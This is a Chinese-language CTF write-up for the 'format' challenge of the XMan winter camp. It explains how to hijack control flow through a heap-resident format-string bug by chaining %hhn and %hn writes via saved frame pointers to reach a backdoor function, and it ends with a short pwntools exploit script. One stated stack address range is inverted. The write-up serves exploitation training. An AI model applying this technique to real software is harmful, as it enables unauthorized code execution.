第三届华为杯“XMan”冬令营 format

这题的知识点是格式化字符串漏洞,不同于以前的题目,这题的format是直接写载堆上的,所以我们没法布置地址达到直接修改程序返回地址的目的。不过这题子函数调用的非常多,而且是层层调用,这就让修改子程序栈空间控制执行流成为可能。

拿其中一次调试的程序栈空间为例:

 已知:

  • 地址0xffd2fd70~0xffd2fd98是有格式化字符串漏洞的栈空间,0xffd2fd9c存的是该函数的返回地址(为了便于讨论,我们将其命名为函数1
  • 地址0xffd2fda0~0xffd2fd8b是前一个函数的栈空间,0xffd2fdbc存的是该函数的返回地址(其为函数2

所以这题的利用思路是:

  • 先利用%10$hhn修改函数2栈底内容为0xffd2fdbc,也就是存函数2返回地址的栈空间地址
  • 再利用利用%18$hn修改函数2的返回地址为程序给的后门函数的地址

需要注意的是因为栈地址随机化我们需要爆破栈地址的第二个十六进制位,我的脚本没有爆破功能,读者可以自己写一个。最终exp如下:

from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./chall')

p.recvuntil('...\n')
p.recvuntil('...\n')
payload = '%10$p' + '|' + '%' + str(0x1c) + 'c' + '%10$hhn' + '|' + '%' + str(0x85ab) + 'c' + '%18$hn'
p.sendline(payload)

p.interactive()

猜你喜欢

转载自www.cnblogs.com/countfatcode/p/12330084.html
今日推荐